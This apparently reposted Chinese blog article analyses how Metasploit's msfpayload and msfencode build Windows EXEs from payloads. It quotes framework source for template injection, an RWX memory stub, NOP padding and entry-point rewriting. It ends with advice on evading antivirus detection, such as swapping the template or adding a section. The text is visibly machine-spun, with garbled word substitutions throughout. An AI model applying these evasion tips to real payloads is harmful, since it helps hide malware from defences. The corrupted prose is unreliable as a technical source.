|
|
|
联系客服020-83701501

Metasploit将payload生成exe文件的原理探讨

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
Metasploit将payload天生exe文件的情理探求

metasploit提供的器械msfpayload和msfencode都支持将payload天生exe可履行文件的格式,但具体的天生机制并无文档阐明,幸好这些器械和库文件但凡开源的,下面我们来1探终究。

在msfpayload源码中概略看到,参数X支持天生exe格式文件:

Default
123456 def usage     $stderr.puts("\n" +      "    Usage: #{$0} [<options>] <payload> [var=val] <[S]u妹妹ary|  C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>\n" +      $args.usage)     exit    end

而参数X的处理例程以下:

Default
123456七89101112131415161七181920 if (cmd =~ /^x/)          note =               "Created by msfpayload (http://www.metasploit.com).\n" +               "Payload: " + payload.refname + "\n" +               " Length: " + buf.length.to_s + "\n" +               "Options: " + options.inspect + "\n"          arch = payload.arch          plat = payload.platform.platforms          exe  = Msf::Util::EXE.to_executable($framework, arch, plat, buf)          if(!exe and plat.index(Msf::Module::Platform::Java))               exe = payload.generate_jar.pack          end          if(exe)               $stderr.puts(note)               $stdout.write(exe)               exit(0)          end          $stderr.puts "No executable format support for this arch/platform"          exit(-1)     end

次假如调用了Msf::Util::EXE库的to_executable动作,我们在这个库中找到相应的函数以下:

Default
123456   def self.to_executable(framework, arch, plat, code='', opts={})                if (arch.index(ARCH_X86))                        if (plat.index(Msf::Module::Platform::Windows))                                return to_win32pe(framework, code, opts)                        end                        ....

 

终极调用了to_win32pe函数,下面我们来看看这个函数的1些关键地方:

Default
1 set_template_default(opts, “template_x86_windows.exe”)

这个函数设置了天生exe的模板文件的地位 跟踪这个函数发明模板文件操作的metasploit部署目次的msf3/data/templates /template_x86_windows.exe文件。鉴于天生的exe文件被杀得相比求助,这个模板文件多几许少也脱不了关连,我们概略找个”清 白”的exe文件来调换这个模板,留意别改文件名。别外msfencode的-x选项支持自定义模板。

Default
1 payload = win32_rwx_exec(code)

 

这个函数应用汇编代码调用win32 api VirtualAlloc乞求了1片可读可写可履行的内存块,并将原始payload拷贝到这里,以支持msfencode里调用种种编码器对原始payload终了处理。

从此等于pe格式综合,获得模板文件的PE可履行段(.text),判断其大小,并将其地址保留到mines数组中:

Default
123456七89101112131415161七1819202122 if(not text)     raise RuntimeError, "No .text section found in the template"     end     if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)       raise RuntimeError, "The .text section does not contain an entry point"     end     if(text.size < (payload.length + 256))       raise RuntimeError, "The .text section is too small to be usable"     end      # Store some useful offsets     off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)     off_beg = pe.rva_to_file_offset(text.base_rva)      # We need to make sure our injected code doesn't conflict with the     # the data directories stored in .text (import, export, etc)     mines = []     pe.hdr.opt['DataDirectory'].each do |dir|     next if dir.v['Size'] == 0     next if not text.contains_rva?( dir.v['VirtualAddress'] )     mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ]     end

将text段分割成连气儿的块,将payload保留到最大的块中:

Default
123456七89101112131415161七181920212223242526 # Break the text segment into contiguous blocks    blocks = []    bidx   = 0    mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|         bbeg = bidx         bend = mine[0]         if(bbeg != bend)              blocks << [bidx, bend-bidx]         end         bidx = mine[0] + mine[1]    end    # Add the ending block    if(bidx < text.size - 1)          blocks << [bidx, text.size - bidx]    end    # Find the largest contiguous block    blocks.sort!{|a,b| b[1]<=>a[1]}       block = blocks[0]    # TODO: Allow the entry point in a different block       if(payload.length + 256 > block[1])            raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"       end    # Make a copy of the entire .text section    data = text.read(0,text.size)    # Pick a random offset to store the payload    poff = rand(block[1] - payload.length - 256)

在另外块中天生大量的随机nops指令,随机天生pe的入口点,但需确保入口点在nops指令块中,在nops块的末端操作跳转指令跳转到payload地址履行。

Default
123456     # Pad the entry point with random nops    entry = generate_nops(framework, [ARCH_X86], rand(200)+51)    ...     # Relative jump from the end of the nops to the payload    entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')

 

末端是pe文件的构造,修改入口点为上面的入口点地址,修改时间戳,查验和等,并保留为exe文件。

归结起来,对模板文件的最大修改是将编码的payload保留到.text段中,天生nops指令和修改入口点,稀奇是对入口点的随机修改有明确的酬谢痕 迹,这种exe的天生行动已经被大部门杀软问鼎黑名单中。 乘乐趣的读者概略何等天生不带工作payload的exe文件并上传到virustotal上终了考证:

Default
1 echo -n | msfencode -e generic/none -t exe > myn.exe [*] generic/none succeeded with size 0 (iteration=1)

清楚了情理,免杀就相比冗杂了,概略另外增加区段或不修改入口点间接将payload从入口点末尾覆盖等,施展你的聪明材干吧。

link:http://www.kissthink.com/archive/3695.html

本文由网络安然攻防研究室(www.91ri.org)动态安然小组收集整顿,转载请注明情由。

数安新闻+更多

证书相关+更多